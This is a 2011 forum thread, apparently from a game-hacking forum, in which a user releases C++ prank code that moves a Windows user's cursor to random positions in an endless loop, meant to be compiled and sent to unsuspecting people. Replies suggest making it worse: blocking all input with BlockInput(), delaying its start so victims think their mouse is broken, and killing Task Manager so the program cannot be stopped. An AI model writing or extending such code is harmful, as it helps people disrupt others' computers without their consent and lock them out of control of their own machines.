Page 1 of 2 12 LastLast
Results 1 to 15 of 22
  1. #1
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed

    [Release] Crazy mouse (Shitty program)

    Nothing marvels..Really it's not. But if you compile it to a binary and send it to nutjobs (People who are less knowledgeable with windows) you can surely piss them off for good

    Code:
    #include <stdlib.h>
        #include <iostream>
        #include <windows.h>
        using namespace std;
        int main()
        {
    int Tx = GetSystemMetrics(SM_CXSCREEN); // Gets the screen X and Y to a int variable
    int Ty = GetSystemMetrics(SM_CYSCREEN); 
        srand(time(0)); // Seed for the algorithm, using time from your PC
        while(true){ // A never ending loop
        int temp; // TEMP and TEMP1 are used to store temporay numeric values ;)
        int temp1;
        int xr = (rand()%Tx)+1;  // this where the magic happens. It generates from a range of 1 to max lenght which is the X/Y cor
        int yr = (rand()%Ty)+1;
        temp = xr /6; // rest is self explanetory
        temp1 = yr /4;
        temp = temp1 + temp;
        xr = xr + temp;
        yr = yr + temp;
        Sleep(500); // pauses the execution of code for 0.5 seconds
        SetCursorPos(xr,yr); // positions the mouse after the calculated and generated X and Y cordinates
        }
            cin.get();
            return EXIT_SUCCESS;
        }
    Additional information:
    Compiler (i used): Wx dev C++
    If you by any chances where "that" dumb to run your build: press CTRL + ALT + DELETE - select the taskmanager and make sure to use the arrow keys to navigate around and close the application.
    Future feature: I'll probably add some "Anti-tskmg/ctrl+alt+delete"
    PS...don't leave stupid comments.

    EDIT:
    I see i forgot to properly make the random generation of numbers....I'll add the proper code now.Also added code comments.
    Last edited by VirtualDUDE; 05-14-2011 at 10:49 AM.

  2. #2
    Nathan's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Location
    In a magical place
    Posts
    6,113
    Reputation
    394
    Thanks
    363
    Wow this is usefull
    Anyway good job.

    And why did you rype [Release] and put the Realease tag?

  3. #3
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed
    Quote Originally Posted by Cookie. View Post
    Wow this is usefull
    Anyway good job.

    And why did you rype [Release] and put the Realease tag?
    Temporary brain dysfunction and thanks.

  4. #4
    258456's Avatar
    Join Date
    May 2010
    Gender
    male
    Location
    ghjghj
    Posts
    1,222
    Reputation
    18
    Thanks
    300
    My Mood
    Relaxed
    lol, i never thought of this, very smart idea.

  5. #5
    Hell_Demon's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    I love causing havoc
    Posts
    3,976
    Reputation
    343
    Thanks
    4,320
    My Mood
    Cheeky
    l2indent...
    Ah we-a blaze the fyah, make it bun dem!

  6. The Following 2 Users Say Thank You to Hell_Demon For This Useful Post:

    [MPGH]master131 (05-15-2011),whit (05-14-2011)

  7. #6
    Toxic Waltz's Avatar
    Join Date
    Jul 2010
    Gender
    male
    Posts
    114
    Reputation
    14
    Thanks
    18
    Tips:

    Let the program wait a few minutes before it starts.
    Let the mouse only move a little so that they think their mouse is broken.

  8. #7
    Chuck Norris's Avatar
    Join Date
    Jan 2008
    Gender
    male
    Location
    Between my ears
    Posts
    1,703
    Reputation
    86
    Thanks
    456
    My Mood
    Angelic
    lol, thats frkn annoying!
    “Those who control the past, control the future: who controls the present controls the past” ~ George Orwell

    Its me, Dreamgun

  9. #8
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed
    Quote Originally Posted by Hell_Demon View Post
    l2indent...
    Wow wow, finally i release something, you can atleast pretend you care
    @Toxic Waltz Will probably try that
    @Chuck Norris sure is
    @258456 hehe, well it was super easy to make, so...

  10. #9
    258456's Avatar
    Join Date
    May 2010
    Gender
    male
    Location
    ghjghj
    Posts
    1,222
    Reputation
    18
    Thanks
    300
    My Mood
    Relaxed
    if you want to increase the obnoxiousness of your program you should use the WinApi BlockInput(). It's pretty funny and causes a lot of panic, but the bad thing is that it is disabled when the user press ctrl + alt +delete.


    Here is msdn for it: BlockInput Function (Windows)

  11. #10
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed
    Quote Originally Posted by 258456 View Post
    if you want to increase the obnoxiousness of your program you should use the WinApi BlockInput(). It's pretty funny and causes a lot of panic, but the bad thing is that it is disabled when the user press ctrl + alt +delete.


    Here is msdn for it: BlockInput Function (Windows)
    Thanks. And to block ctrl + alt + delete you would need to hook to keyboard, and under the even of those hotkeys, somehow magically block the screen popup I've seen a friend of mine do it a long time ago...

    So, does the function block keyboard input for taskmanager aswel?
    EDIT: The answer to my own question is no..I found out from reading.


    All i have to do is, keyboard hook, get the CTRL, etc input and then when taskmgr.exe is running, set the block input function to true resulting in a non blockable application, by users events...
    Last edited by VirtualDUDE; 05-14-2011 at 02:39 PM.

  12. #11
    whit's Avatar
    Join Date
    Jan 2010
    Gender
    male
    Posts
    7,159
    Reputation
    490
    Thanks
    2,253
    The Code is very Ugly...
    But Good job

  13. #12
    258456's Avatar
    Join Date
    May 2010
    Gender
    male
    Location
    ghjghj
    Posts
    1,222
    Reputation
    18
    Thanks
    300
    My Mood
    Relaxed
    Well, it doesn't let you do anything. Like it won't let you move your mouse, and it won't even let you type anything. The only way to unblock it is to press ctrl, alt, del. Doesn't matter what's open, the only way is ctrl, alt, del.


    If you want it to send keystrokes or mouse events while input is blocked you can use SendInput();
    I made one a long time ago that blocked input then while the user couldn't control anything, the mouse opened up notepad.exe then it typed "I gotcha". It was so hilarious, but i can't find it though.
    Last edited by 258456; 05-14-2011 at 02:41 PM.

  14. #13
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed
    Quote Originally Posted by whit View Post
    The Code is very Ugly...
    But Good job
    Thanks. Didn't do much work on it, where kind of just trying to get some credits back...So i released it loll

    @25... It's very easy to block...Just requires a little thinking
    Last edited by VirtualDUDE; 05-14-2011 at 02:41 PM.

  15. #14
    Hell_Demon's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    I love causing havoc
    Posts
    3,976
    Reputation
    343
    Thanks
    4,320
    My Mood
    Cheeky
    Wait for taskmgr.exe -> kill it -> blockinput again <:
    Ah we-a blaze the fyah, make it bun dem!

  16. #15
    VirtualDUDE's Avatar
    Join Date
    May 2011
    Gender
    male
    Location
    In my basement
    Posts
    665
    Reputation
    -172
    Thanks
    20
    My Mood
    Relaxed
    Quote Originally Posted by Hell_Demon View Post
    Wait for taskmgr.exe -> kill it -> blockinput again <:
    Exactly. It also stated it, further down my posts, though my technique would be a little bit longer ..I'll add the task kill in a few minutes, maybe in a hour or tomorrow

Page 1 of 2 12 LastLast